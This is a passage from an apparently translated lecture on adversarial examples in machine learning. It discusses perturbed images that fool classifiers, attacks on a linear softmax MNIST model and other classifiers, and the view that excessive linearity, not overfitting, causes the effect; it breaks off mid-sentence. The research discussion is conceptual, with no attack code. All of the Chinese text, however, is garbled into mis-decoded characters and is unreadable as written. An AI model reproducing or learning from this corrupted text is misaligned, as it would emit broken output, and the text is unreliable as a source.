\n\n๏ผˆไธŠๅ›พ๏ผ‰ๅทฆไธŠ่ง’่ฟ™ไธช่ˆน็š„ๅŠจ็”ป๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐไบ”ไธช็‰ˆๅ›พ็œ‹ไธŠๅŽปๅŸบๆœฌไธŠๅทฎไธๅคš๏ผŒๆขฏๅบฆไธ‹้™็œ‹่ตทๆฅๅฏนๅ›พ็‰‡ไธ€็‚นๅฝฑๅ“้ƒฝๆฒกๆœ‰ใ€‚ไฝ†ๅˆฐๆœ€ๅŽไธ€ๅผ ๅ›พ็‰‡๏ผŒ็ฝ‘็ปœๅทฒ็ปๅฎŒๅ…จ็กฎไฟก้‚ฃๆ˜ฏไธ€ๆžถ้ฃžๆœบ๏ผŒๅฝ“ไฝ ็ฌฌไธ€ๆฌกๅ†™่ฟ™็งๅฎž้ชŒ็š„ไปฃ็ ๆ—ถ๏ผŒๅฐคๅ…ถๆ˜ฏไฝ ไธ็Ÿฅ้“ไผšๅ‘็”Ÿไป€ไนˆ็š„ๆ—ถๅ€™๏ผŒๅฐฑๆ„Ÿ่ง‰ไฝ ็š„่„šๆœฌ้‡Œๆœ‰ bug๏ผŒ้‚ฃๅฐฑๆŠŠๅŒๆ ท็š„ๅ›พ็‰‡ไธ€้ไธ€้ๅœฐ้‡ๅคๆ’ญๆ”พ๏ผŒๆˆ‘็ฌฌไธ€่ฟ™ๆ ทๅš็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไธๆ•ข็›ธไฟกๆญฃๅœจๅ‘็”Ÿ็š„ไบ‹๏ผŒๆˆ‘ไธๅพ—ไธ็”จ numpy ๆ‰“ๅผ€ๅ›พ็‰‡ๆฏ”่พƒๅฎƒไปฌ็š„ๅŒบๅˆซ็กฎ่ฎคๅฎƒไปฌ็กฎๅฎžๆ˜ฏๆœ‰ๅŒบๅˆซ็š„ใ€‚ๆˆ‘่ฟ™้‡Œๅฑ•็คบๅ‡ ไธชไธๅŒ็š„ๅŠจ็”ป๏ผŒๆœ‰่ˆน๏ผŒ่ฝฆ๏ผŒ็Œซๅ’Œๅก่ฝฆใ€‚ๅชๆœ‰ไธ€ไธชๅฐฑๆ˜ฏ็Œซ็š„ๅ›พ็‰‡๏ผŒๆˆ‘็œ‹ๅˆฐ็œŸ็š„ๆœ‰ๅ˜ๅŒ–๏ผŒ็Œซ่„ธ็š„้ขœ่‰ฒๆœ‰ไธ€็‚น็‚นๅ˜ๅŒ–๏ผŒๅฏ่ƒฝๅ˜ๅพ—ๆœ‰ไธ€็‚น็‚นๅƒ้ฃžๆœบ็š„้‡‘ๅฑž่‰ฒไบ†ใ€‚้™คๅผ€่ฟ™ไธช๏ผŒๅ…ถไป–็š„ๅŠจ็”ปๆˆ‘ๆ˜ฏ็œŸ็š„ไธ€็‚นๅŒบๅˆซ้ƒฝๆฒก็œ‹ๅ‡บๆฅ๏ผŒๆˆ‘ไนŸ้ƒฝๆฒก็œ‹ๅ‡บไธ€ไธขไธข้ฃžๆœบ็š„ๆ„ๆ€ใ€‚ๆ‰€ไปฅๆขฏๅบฆไธ‹้™ๅนถไธๆ˜ฏๆŠŠ่พ“ๅ…ฅๅ˜ๆˆ้ฃžๆœบ๏ผŒ่€Œๆ˜ฏๅ‘็Žฐไบ†ไธ€ๅผ ๅฏไปฅๆฌบ้ช—็ฝ‘็ปœ็š„๏ผŒๅฏไปฅ่ฎฉ็ฝ‘็ปœ่ฎคไธบ่พ“ๅ…ฅๆ˜ฏ้ฃžๆœบ็š„ๅ›พ็‰‡ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆ˜ฏๆถๆ„็š„ๆ”ปๅ‡ป่€…๏ผŒๆˆ‘ไปฌ้ƒฝไธ็”จๅŠชๅŠ›็ ”็ฉถๅฆ‚ไฝ•ๆฌบ้ช—็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌๅช่ฆ่ฆๆฑ‚็ฝ‘็ปœ็ป™ๆˆ‘ไปฌไธ€ๅผ ้ฃžๆœบ็š„ๅ›พ็‰‡๏ผŒๅฎƒๅฐฑไผš็ป™ๆˆ‘ไปฌไธ€ๅผ ๅ›พ็‰‡๏ผŒ่ฟ™ๅผ ๅ›พ็‰‡่ƒฝๅคŸ่ฎฉๅฎƒ่ฏฏไปฅไธบ่ฟ™ๆ˜ฏไธ€ๅผ ้ฃžๆœบ็š„ๅ›พ็‰‡ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/15/5b9c659d31ca5.png)\n\nๅฝ“ Chrisian ็ฌฌไธ€ๆฌกๅ‘่กจ่ฟ™ไธชๆˆๆžœ็š„ๆ—ถๅ€™๏ผŒๅพˆๅคšๆ–‡็ซ ไธ€่ตทๆถŒ็Žฐๅ‡บๆฅ๏ผŒ่ฏธๅฆ‚ ใ€ŠThe Flaw Looking At Every Deep Neural Networkใ€‹ๆˆ–ใ€ŠDeep Learning has Deep Flaswsใ€‹ ไน‹็ฑป็š„ๆ ‡้ข˜็š„ๆ–‡็ซ ใ€‚่ฎฐไฝ่ฟ™ไบ›ๅฎนๆ˜“็Šฏ้”™็š„่„†ๅผฑ็‚นๅพˆ้‡่ฆ๏ผŒๆŠŠๅฎƒ่ฟ็”จๅœจๅ‡ ไนŽๆฏไธชๆˆ‘ไปฌๅทฒ็ป็ ”็ฉถ่ฟ‡็š„ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ไธŠ๏ผŒๆฏ”ๅฆ‚่ฏดๅ…ถไธญๆœ‰ RBF ็ฎ—ๆณ•ๅ’Œ้…ๆฏ”ๅ‡ฝๆ•ฐๅฏ†ๅบฆไผฐ่ฎก๏ผŒๅฎƒไปฌๅฏไปฅไธ€ๅฎš็จ‹ๅบฆไธŠๆŠตๆŠ—่ฟ™็งๅฝฑๅ“๏ผŒไฝ†ๅณไฝฟๆ˜ฏ้žๅธธ็ฎ€ๅ•็š„ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•๏ผŒๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠไนŸ้žๅธธๅฎนๆ˜“ๅ‡บ้”™ใ€‚\n\nๅœจ๏ผˆไธŠ้ข๏ผ‰่ฟ™ๅผ ๅ›พ็‰‡้‡Œ๏ผŒๆˆ‘ๅฑ•็คบไบ†ๅฝ“ๆˆ‘ไปฌๆ”ปๅ‡ปไธ€ไธช็บฟๆ€งๆจกๅž‹็š„ๆ—ถๅ€™ไผšๅ‘็”Ÿไป€ไนˆใ€‚่ฟ™ๆ นๆœฌไธๆ˜ฏไธ€ไธชๆทฑๅบฆๅญฆไน ็ฎ—ๆณ•๏ผŒๅชๆ˜ฏไธ€ไธชๆต…ๅฑ‚็š„ softmax ๆจกๅž‹๏ผŒไฝ ๅฐฑไน˜ไธŠไธ€ไธช็Ÿฉ้˜ตๅŠ ไธ€ไธชๅ็งปๅ‘้‡๏ผŒ่ฟ็”จ softmax ๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ๆ ทไฝ ๅฐฑๅพ—ๅˆฐไบ†10ไธช MNIST ๅˆ†็ฑป็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒใ€‚ๅœจ๏ผˆไธŠๅ›พ๏ผ‰ๅทฆไธŠ่ง’๏ผŒไปฅ 9 ่ฟ™ไธชๆ•ฐๅญ—็š„ๅ›พ็‰‡ๅผ€ๅง‹๏ผŒไปŽๅทฆๅˆฐๅณ๏ผŒไปŽไธŠๅˆฐไธ‹๏ผŒๆˆ‘ๆ…ขๆ…ขๅœฐๆŠŠๅฎƒๅ˜ๆˆ0ใ€‚ๆˆ‘็”ป้ป„ๆก†็š„ๅœฐๆ–น๏ผŒๆจกๅž‹่ฎคไธบ่ฟ™ๅพˆๅฏ่ƒฝๆ˜ฏ0ใ€‚ๆˆ‘ๅฟ˜่ฎฐไบ†ๆˆ‘ๅฏนไบŽ้ซ˜ๅฏ่ƒฝๆ€งๅฎšไน‰็š„้‚ฃไธช้˜ˆๅ€ผ๏ผŒๆˆ‘่ฎฐๅพ—ๅคงๆฆ‚ๆ˜ฏ0.9ๅทฆๅณใ€‚ๆŽฅไธ‹ๆฅๆˆ‘ไปฌ็œ‹็ฌฌไบŒ่กŒ๏ผŒๆˆ‘ๆŠŠๅฎƒๆ…ขๆ…ขๅ˜ๆˆ1๏ผŒ็ฌฌไบŒไธช้ป„ๆก†่กจๆ˜Ž๏ผŒๆˆ‘ไปฌๆˆๅŠŸๆฌบ้ช—ๅˆฐๆจกๅž‹๏ผŒไฝฟๅฎƒ่ฎคไธบ้‚ฃๅคงๆฆ‚็Ž‡ๆ˜ฏ1ใ€‚ๆŽฅไธ‹ๆฅ็œ‹ไฝ™ไธ‹็š„ๅ›พ็‰‡๏ผŒไปŽๅทฆๅˆฐๅณ๏ผŒไปŽไธŠๅˆฐไธ‹๏ผŒๆˆ‘ไปฌ่ฏ•้ชŒไบ†ไบŒไธ‰ๅ››็ญ‰็ญ‰ใ€‚็›ดๅˆฐๅณไธ‹่ง’๏ผŒๆˆ‘ไปฌๆœ‰ไธ€ไธช 9 ็”จ้ป„ๆก†ๆ ‡ๅ‡บๆฅไบ†ใ€‚ๅฎƒ็œ‹่ตทๆฅๅฐฑๆ˜ฏไธ€ไธช9๏ผŒไฝ†ๅฐฑๆ˜ฏๅ› ไธบๅฎƒ็œ‹่ตทๆฅๅƒ 9๏ผŒๅฎŒๅ…จๆ˜ฏๅ› ไธบๆˆ‘ไปฌๆ•ดไธช่ฟ‡็จ‹้ƒฝๅ›ด็ป• 9 ็š„ใ€‚ๆˆ‘ไปฌๅŸบๆœฌไธŠๆฒกๆœ‰ๆ”นๅ˜ไฝ ๆ•ฐๅญ—็š„ๅ›พๅƒ๏ผŒ่‡ณๅฐ‘ไบบ็ฑปๆ˜ฏ็œ‹ไธๅ‡บๅŒบๅˆซ๏ผŒไฝ†ๅทฒ็ปๆˆๅŠŸๆฌบ้ช—ไบ† MNIST ไธŠ็š„ 10 ไธช็ฑปใ€‚\n\n่ฟ™ไธช็บฟๆ€งๆจกๅž‹ๅคชๅฅฝ้ช—ไบ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/15/5b9c698256856.png)\n\n้™คไบ†็บฟๆ€งๆจกๅž‹๏ผŒๆˆ‘ไปฌ่ฟ˜ๅ‘็Žฐไบ†ๆˆ‘ไปฌๅฏไปฅๆฌบ้ช—ๆ›ดๅคš็ง็บฟๆ€งๆจกๅž‹๏ผŒๅŒ…ๆ‹ฌ้€ป่พ‘ๅ›žๅฝ’ๅ’Œๆ”ฏๆŒๅ‘้‡ๆœบใ€‚ๆˆ‘ไปฌ่ฟ˜ๅ‘็Žฐๆˆ‘ไปฌๅฏไปฅๆฌบ้ช—ๅ†ณ็ญ–ๆ ‘๏ผŒ่ฟ˜่ƒฝๆฌบ้ช—่ฟ‘้‚ปๅˆ†็ฑปๅ™จใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/16/5b9db23fa0705.png)\n\nๆˆ‘ไปฌๆƒณ่ฆ่งฃ้‡Šๆธ…ๆฅšไธบไป€ไนˆไผš่ฟ™ๆ ทใ€‚\n\nๅ›žๅˆฐ2014ๅนด๏ผŒๆˆ‘ไปฌๅ‘่กจๅŽŸๅง‹้‚ฃ็ฏ‡ๆ–‡็ซ ไปฅๅŽ๏ผŒๆˆ‘ไปฌๅœจๆ–‡็ซ ้‡Œ่ฏดๆœ‰่ฟ™ไนˆไบ›้—ฎ้ข˜๏ผŒๆˆ‘ไปฌ่ฏ•ๅ›พ็ ”็ฉถๅ‡บไธบไป€ไนˆไผš่ฟ™ๆ ทใ€‚ๆˆ‘ไปฌๆœ€ๅผ€ๅง‹ไปฅไธบ่ฟ™ๆ˜ฏๆŸ็ง่ฟ‡ๆ‹Ÿๅˆ็Žฐ่ฑก๏ผŒๅ› ไธบไฝ ๆœ‰ไธ€ไธชๅพˆๅคๆ‚็š„ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ๏ผŒๅฎƒ่ฆๅญฆ็€ๅŽป้€‚ๅบ”่ฎญ็ปƒ้›†๏ผŒไฝ†ๅœจๆต‹่ฏ•้›†ไธŠ็š„่กŒไธบๆ˜ฏๆœช็ป่ฟ‡ๅฎšไน‰็š„๏ผŒ่ฟ™ๆ ทๅฐฑไผš้šๆœบ็Šฏ้”™๏ผŒ่ฟ™ๆ ทๆ”ปๅ‡ป่€…ๅฐฑไผšๅˆฉ็”จ่ฟ™ไธชๅผฑ็‚นใ€‚\n\nๆˆ‘ไปฌๅ†ๅฅฝๅฅฝๅœฐๅ›ž้กพไธ€ไธ‹ๆ•ดไธชๆต็จ‹ใ€‚ๆˆ‘่ฟ™้‡Œ่ฆ่ฎญ็ปƒไธ€ไธชๆœ‰ไธ‰ไธช่“ X๏ผŒๅไธ‰ไธช็ปฟ O ็š„่ฎญ็ปƒ้›†ใ€‚ๆˆ‘ไปฌๆƒณ่ฆๅšไธ€ไธชๅˆ†็ฑปๅ™จๆฅ่ฏ†ๅˆซ X ๅ’Œ Oใ€‚ๆˆ‘ไปฌๆœ‰ไบ†ไธ€ไธช้žๅธธๅคๆ‚็š„ๅˆ†็ฑปๅ™จ๏ผŒๅฏไปฅๅพˆ็ฎ€ๅ•ๅœฐ้€‚ๅบ”ไบŽ่ฎญ็ปƒ้›†ใ€‚้‚ฃๆˆ‘ไปฌๅฐฑๆŠŠๅฎƒ่ฎคไธบๆ˜ฏ X ๆถ‚ๆˆ่“่‰ฒ็š„ไธ€ๅ—ใ€‚้‚ฃๆˆ‘ๅฐฑๅœจ่ฎญ็ปƒ้›†ไธญ X ็š„ๅ‘จ่พน้ƒฝๆถ‚ๆˆ่“่‰ฒใ€‚่ฟ™ๆ ทๅฎƒ่ƒฝๆญฃ็กฎๅŒบๅˆ†่ฎญ็ปƒ้›†ไธŠ็š„ O ๅ’Œ Xใ€‚ๅฎƒ่ฟ˜ๆœ‰ไธ€ๅ—็ปฟ่‰ฒ็š„่กจ็คบ O ็š„ไฝ็ฝฎ๏ผŒ่ฟ™ไธชๅˆ†็ฑปๅ™จๅœจ็ปฟ่‰ฒ่ฎญ็ปƒ้›† O ไธŠๆ‹Ÿๅˆ็š„ๅพˆๆˆๅŠŸ๏ผŒไฝ†ๅ› ไธบๅฎƒๆ˜ฏไธ€ไธช้žๅธธๅคๆ‚็š„ๅ‡ฝๆ•ฐ๏ผŒๅฎƒ็š„ๅ‚ๆ•ฐไธชๆ•ฐๆฏ”ๅฎž้™…่กจ็คบ่ฟ™ไธช่ฎญ็ปƒไปปๅŠก้œ€่ฆ็š„ๅ‚ๆ•ฐๅคšๅพ—ๅคš๏ผŒๅฎƒๅœจๅ…ถไป–ๆœช็Ÿฅ็ฉบ้—ดไธญ้šๆœบๆŒ‰ๆฆ‚็Ž‡ๅฏ†ๅบฆๅˆ†ๅ—ใ€‚ๅทฆ่พนๆœ‰ไธ€ๅ—็ปฟ่‰ฒ็š„ๅŒบๅŸŸ็ฆป่ฎญ็ปƒ้›†ไธญ X ๆฏ”่พƒ่ฟ‘๏ผŒๆˆ‘็”ปไบ†ไธ€ไธช็บข่‰ฒ็š„ X ่กจ็คบ่ฟ™ๅฏ่ƒฝๅฐ†ๆ˜ฏไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๆˆ‘ไปฌ้ข„ๆต‹ๅˆ†็ฑปๆ˜ฏ X๏ผŒไฝ†ๆจกๅž‹่ฎคไธบๆ˜ฏ Oใ€‚ๅœจๅณ่พน๏ผŒๆˆ‘็”ปไบ†ไธ€ไธช็บข่‰ฒ็š„ O๏ผŒๆ˜ฏๅฆไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌใ€‚ๅœจ็ฆปๅ…ถไป– O ๅพˆ่ฟ‘็š„ๅœฐๆ–น๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๅˆ†็ฑปๅ™จไนŸ่ฏ†ๅˆซไธบ Oใ€‚ไฝ†ๅ› ไธบๆ˜ฏ็”ป่“่‰ฒ็š„ๅ—๏ผŒๅ…ถๅฎž็ฝ‘็ปœ่ฎคไธบๆ˜ฏ Xใ€‚\n\nๅฆ‚ๆžœ็œŸ็š„ๆ˜ฏๅ› ไธบ่ฟ‡ๆ‹Ÿๅˆๅผ•่ตท็š„๏ผŒ้‚ฃไนˆๆฏไธชๅฏนๆŠ—ๆ ทๆœฌๆ€ปๅฝ’ๆ˜ฏๆˆ–ๅคšๆˆ–ๅฐ‘่ฟๆฐ”ไธๅฅฝ็š„็ป“ๆžœๅนถไธ”ๆ˜ฏ็‹ฌไธ€ๆ— ไบŒ็š„ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅ†ๆฌกๆ‹Ÿๅˆ่ฟ™ไธชๆจกๅž‹๏ผŒๆˆ–่€…่ฏดๆˆ‘ไปฌๆ‹Ÿๅˆไธ€ไธชๆœ‰็‚นไธไธ€ๆ ท็š„ๆจกๅž‹๏ผŒๆˆ‘ไปฌๆœŸๅพ…ไผšๅœจ่ฎญ็ปƒ้›†ไธŠ้šๆœบๅœฐ็Šฏๅˆซ็š„้”™่ฏฏใ€‚ไฝ†ไบ‹ๅฎžๅ’Œๆˆ‘ไปฌๆ‰€ๅ‘็Žฐ็š„ๅฎŒๅ…จไธ็ฌฆ๏ผŒ<u>ๆˆ‘ไปฌๅ‘็ŽฐไธๅŒ็š„ๆจกๅž‹ๅฎนๆ˜“ๅœจๅŒไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌไธŠ็Šฏ้”™๏ผŒๅนถไธ”ไป–ไปฌ่ฟ˜ไผšๆŒ‡ๅฎšๅŒๆ ท็š„็ฑป็ป™ไป–ไปฌ</u>ใ€‚ๆˆ‘ไปฌ่ฟ˜ๅ‘็Žฐ๏ผŒ<u>ๅฆ‚ๆžœๆˆ‘ๅฏนๅŽŸๅง‹ๆ ทๆœฌๅ’ŒๅฏนๆŠ—ๆ ทๆœฌ็ ”็ฉถๅ…ถๅŒบๅˆซ๏ผŒๆˆ‘ไปฌๅœจ่พ“ๅ…ฅ็ฉบ้—ดๆœ‰ไธ€ไธชๆ–นๅ‘๏ผŒๆˆ‘ไปฌๅฏไปฅๅฏนๅ…ถไป–ไปปไฝ•ๆฒกๆœ‰ๅ™ชๅฃฐ็š„ๆ ทๆœฌไธŠๅŠ ไธ€ไธช็›ธๅŒ็š„ๅ็งปๅ‘้‡๏ผŒๆˆ‘ไปฌ่ฟ™ๆ ทๆ“ไฝœๅ‡ ไนŽๆ€ป่ƒฝๅพ—ๅˆฐไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌ</u>ใ€‚ไบŽๆ˜ฏๆˆ‘ไปฌๅผ€ๅง‹ๆ„่ฏ†ๅˆฐ่ฟ™ๆ˜ฏไธ€็ง็ณป็ปŸๆ€งๆ•ˆๅบ”๏ผŒ่€Œไธๅชๆ˜ฏ้šๆœบๆ•ˆๅบ”ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/16/5b9db71dbe0d8.png)\n\n่ฟ™ๆฟ€ๅ‘ไบ†ๆˆ‘ไปฌๅฆไธ€ไธชๆƒณๆณ•๏ผŒ่ฟ™ไบ›ๅฏนๆŠ—ๆ ทๆœฌๅฏ่ƒฝๆ›ดๅƒๆ˜ฏๆฌ ๆ‹Ÿๅˆ๏ผŒ่€Œไธๆ˜ฏ่ฟ‡ๆ‹Ÿๅˆใ€‚ๅฎƒไปฌๅฏ่ƒฝๆ˜ฏๅ› ไธบๆจกๅž‹ๅคช็บฟๆ€งไบ†ใ€‚ๅŒๆ ท็š„ๆˆ‘ไปฌๆœ‰ๆตๅฝข็š„ O ๅ’Œ็บฟๆ€ง็š„ Xใ€‚่ฟ™ๆฌกๆˆ‘ไปฌ็”จ็บฟๆ€งๆจกๅž‹ๆฅๆ‹Ÿๅˆ่ฟ™ไธชๆ•ฐๆฎ้›†๏ผŒ่€Œไธๆ˜ฏ็”จไธ€ไธช้ซ˜ๅฎน้‡็š„้ž็บฟๆ€งๆจกๅž‹ใ€‚ๆˆ‘ไปฌ็œ‹ๅˆฐๆˆ‘ไปฌๅพ—ๅˆฐไธ€ไธช่ถ…ๅนณ้ข๏ผŒๆŠŠไธคไธช็ฑปไปŽไธญ้—ดๅˆ†ๅผ€ใ€‚่ฟ™ไธช่ถ…ๅนณ้ขๅนถๆฒกๆœ‰ๆ•ๆ‰ๅˆฐไธค็ฑป็š„็œŸๅฎž็ป“ๆž„ใ€‚O ๅพˆๆ˜Žๆ˜พๆŽ’ๅˆ—ๆˆไธ€ไธช C ็š„ๅฝข็Šถ็š„ๆตๅฝขใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆฒฟ็€ O ไธ€่ทฏ็œ‹ไธ‹ๅŽป๏ผŒๆˆ‘ไปฌๅ…ถๅฎžๆ˜ฏ็ฉฟ่ฟ‡ไบ†ๅ†ณ็ญ–่พน็•Œใ€‚่ฟ™้‡Œๆˆ‘ไปฌ็”ปไบ†ไธ€ไธช็บข่‰ฒ็š„ O๏ผŒๅฐฑ็ฎ—ๆ˜ฏๆˆ‘ไปฌ็ฆปๅ†ณ็ญ–่พน็•Œๅพˆ่ฟ‘๏ผŒๅฐฑ็ฎ—ๆ˜ฏ็ฆปๅ…ถไป– O ๅพˆ่ฟ‘๏ผŒๆˆ‘ไปฌ่ฟ˜ๆ˜ฏๅˆคๆ–ญ่ฟ™ๆ˜ฏไธ€ไธช Xใ€‚ๅŒๆ ทๅœฐ๏ผŒๅฝ“ๆˆ‘ไปฌไธ€ๆญฅๆญฅๅœฐไปŽ X ้™„่ฟ‘็œ‹่ฟ‡ๅŽป๏ผŒ็œ‹ๅˆฐ้‚ฃไธช่ทจ่ถŠๅˆ†็•Œ็บฟ่ขซๅˆ†็ฑปๆˆ O ็š„้‚ฃไธช็‚นใ€‚่ฟ™ไธชๅ›พๅฆไธ€ไธชไธๅฏปๅธธ็š„ไบ‹ๆƒ…ๆ˜ฏ๏ผŒๅฝ“ๆˆ‘ไปฌ็œ‹็€ๅทฆไธ‹ๆ–นๆˆ–ๅณไธŠๆ–น็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไบ›็‚น้žๅธธ็กฎไฟก่ขซๅˆ†็ฑปๆˆ็›ธๅบ”็š„็ฑป๏ผŒๅฐฑๆ˜ฏ X ๆ˜ฏๅทฆไธ‹ๆ–น๏ผŒO ๆ˜ฏๅณไธŠๆ–นใ€‚ๅณไฝฟๆˆ‘ไปฌไปŽๆฒกๆœ‰ๅœจๆ•ฐๆฎ้‡Œ่ง่ฟ‡่ฟ™ไธช้ƒจๅˆ†็š„็‚น๏ผŒ็บฟๆ€งๆจกๅž‹็ป„ไฝฟๅพ—ๆจกๅž‹ๅœจ่ฟ™ไบ›ๅŒบๅŸŸ้‡Œๆœ‰ๅพˆ้ซ˜็š„็ฝฎไฟกๅบฆ๏ผŒๅ› ไธบๅฎƒไปฌ็ฆปๅ†ณ็ญ–่พน็•Œๅพˆ่ฟœใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/16/5b9db8a239c6b.png)\n\nๆˆ‘ไปฌ็œ‹ๅˆฐ็บฟๆ€งๆจกๅž‹ๅฎž้™…ไธŠๅฏน่ท็ฆปๅ†ณ็ญ–่พน็•Œๅพˆ่ฟœ็š„ๅœฐๆ–นๆœ‰้žๅธธ้ซ˜็š„็ฝฎไฟกๅบฆ๏ผŒๅฐฑ็ฎ—้‚ฃ้‡Œไธ€็‚นๆ•ฐๆฎ้ƒฝๆฒกๆœ‰ใ€‚ไฝ†ๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœ็œŸ็š„็ญ‰ๅŒไบŽ็บฟๆ€งๆจกๅž‹ๅ—๏ผŸ็บฟๆ€งๆจกๅž‹ๆ˜ฏไธๆ˜ฏๅฐฑ่ƒฝ่งฃ้‡Š้‚ฃไบ›ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœๅšไธๅˆฐ็š„ไบ‹ๆƒ…๏ผŸ\n\n็Žฐไปฃ็š„ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœๅ…ถๅฎžๆ˜ฏๅˆ†ๆฎต็š„็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒ่€Œไธๆ˜ฏไธ€ไธชๅ•ไธ€็š„็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒๅฎƒไปฌๆ˜ฏๅˆ†ๆฎต็บฟๆ€ง็š„๏ผˆpiecewise linear๏ผ‰๏ผŒๅฏ่ƒฝๆฒกๆœ‰้‚ฃไนˆๅคš็บฟๆ€งๅˆ†ๆฎตใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ็”จ relu๏ผˆไฝœไธบๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผ‰๏ผŒ็„ถๅŽๅฐ†่พ“ๅ…ฅๅ›พๅƒๆ˜ ๅฐ„ๆˆๆ•ฐๅญ—ๅนถ่พ“ๅ‡บ๏ผŒๅฎž้™…ไธŠ่ฟ™ไธชๆ˜ ๅฐ„ๅฐฑๆ˜ฏไธ€ไธชๅˆ†ๆฎต็บฟๆ€งๅ‡ฝๆ•ฐใ€‚ๆˆ‘็š„ๆ„ๆ€ๆ˜ฏ๏ผŒๆˆ‘ไปฌๅœจๅฏนๆจกๅž‹่พ“ๅ‡บๅš softmax ๆ˜ ๅฐ„ไน‹ๅ‰็š„ไธ€ไธช้žๆญฃๅˆ™ๅŒ–็š„ๅฏนๆ•ฐๆฆ‚็Ž‡ใ€‚่ฟ™้‡Œๆœ‰ๅพˆๅคšๅ…ถไป–็š„็ฅž็ป็ฝ‘็ปœ๏ผŒๆฏ”ๅฆ‚่ฏด maxout ็ฝ‘็ปœๅ…ถๅฎž่ฏด่ตทๆฅไนŸๆ˜ฏๅˆ†ๆฎต็บฟๆ€ง็š„ใ€‚ๅŽๆฅ่ฟ˜ๆœ‰ๅ‡ ็งไธŽๅ…ถ้žๅธธ็›ธ่ฟ‘็š„ๅ‡ฝๆ•ฐใ€‚ๅœจ ReLU ๆต่กŒ่ตทๆฅไน‹ๅ‰๏ผŒๅคง้ƒจๅˆ†ไบบไน ๆƒฏ็”จๅ„็งๅฝขๅผ็š„ sigmoid ๅ‡ฝๆ•ฐ๏ผŒ ่ฆไนˆๆ˜ฏ logistic sigmoid ๆˆ–ๆ˜ฏ tanhใ€‚่ฟ™ไบ› sigmoid ็ฑปๅž‹็š„ๅ‡ฝๆ•ฐ้œ€่ฆ้žๅธธ่ฎค็œŸๅœฐ่ฐƒๅ‚๏ผŒๅฐคๅ…ถๆ˜ฏๅœจๅˆๅง‹ๅŒ–็š„ๆ—ถๅ€™๏ผŒๆ‰€ไปฅไฝ ๅคง้ƒจๅˆ†็š„ๆ—ถ้—ด๏ผŒ่ฆ็”จๅœจ sigmoid ไธŠ๏ผŒ่ฟ™้‡Œ sigmoid ๅ‡ ไนŽๆ˜ฏ็บฟๆ€ง็š„ใ€‚่ฟ˜ๆœ‰ LSTM ไธ€็งๅพช็Žฏ็ฝ‘็ปœ๏ผŒๆ˜ฏ็›ฎๅ‰ๅนดๆœ€ๆต่กŒ็š„ๅพช็Žฏ็ฝ‘็ปœไน‹ไธ€ใ€‚ไธบไบ†่ทจๆ—ถ้—ด็š„็งฏ็ดฏๅ’Œ่ฎฐไฝไฟกๆฏ๏ผŒLSTM ๅˆฉ็”จไบ†ไปŽไธ€ไธชๆ—ถ้—ดๆญฅๅ‘ไธ‹ไธ€ไธชๆ—ถ้—ด็š„ๅŠ ๅ’Œใ€‚ๅŠ ๅ’Œ๏ผˆaddition๏ผ‰ ๆ˜ฏไธ€็ง็‰นๅˆซ็ฎ€ๅ•็š„็บฟๆ€ง่ฟ็ฎ—๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๆˆๆ˜ฏๆŸไธชๅพˆ่ฟœๆ—ถ้—ด็‚นๅ’Œ็Žฐๅœจๆ—ถๅˆป็š„ไธ€็งไบคไบ’ไฝœ็”จใ€‚่ฟ™็ง LSTM ไธญ็š„ไบคไบ’ๆ˜ฏ้ซ˜ๅบฆ็บฟๆ€ง็š„ใ€‚ๆˆ‘็Žฐๅœจ่ฏด็š„ๆ˜ฏๆŠŠๆจกๅž‹็š„่พ“ๅ…ฅๆ˜ ๅฐ„ๅˆฐๆจกๅž‹็š„่พ“ๅ‡บ๏ผŒๆˆ‘ๅธŒๆœ›่ฟ™ไธชๆ˜ ๅฐ„ๆ˜ฏ็บฟๆ€ง็š„๏ผŒๆˆ–่€…ๆ˜ฏๅชๆœ‰ๅ‡ ๆฎต็š„ๅˆ†ๆฎต็บฟๆ€งๆจกๅž‹ใ€‚่ฟ™ไธชไปŽๆจกๅž‹ๅ‚ๆ•ฐๅˆฐๆจกๅž‹่พ“ๅ‡บ็š„ๆ˜ ๅฐ„ๆ˜ฏ้ž็บฟๆ€ง็š„๏ผŒๅ› ไธบๆฏๅฑ‚็ฝ‘็ปœ็š„ๆƒ้‡็Ÿฉ้˜ตๆ˜ฏ่ฆไน˜ๅœจไธ€่ตท็š„ใ€‚ๆˆ‘ไปฌๅ…ถๅฎžๅพ—ๅˆฐ็š„<u>ๅ‚ๆ•ฐๅ’Œ่พ“ๅ‡บไน‹้—ด็š„ๅ…ณ็ณปๅ…ถๅฎžๆ˜ฏ้ž็บฟๆ€ง็š„๏ผŒ่ฟ™ๅฐฑๆ˜ฏไธบไป€ไนˆ่ฎญ็ปƒ็ฅž็ป็ฝ‘็ปœ่ฟ™ไนˆๅ›ฐ้šพ</u>ไบ†ใ€‚่™ฝ็„ถ่พ“ๅ…ฅๅˆฐ่พ“ๅ‡บ็š„ๆ˜ 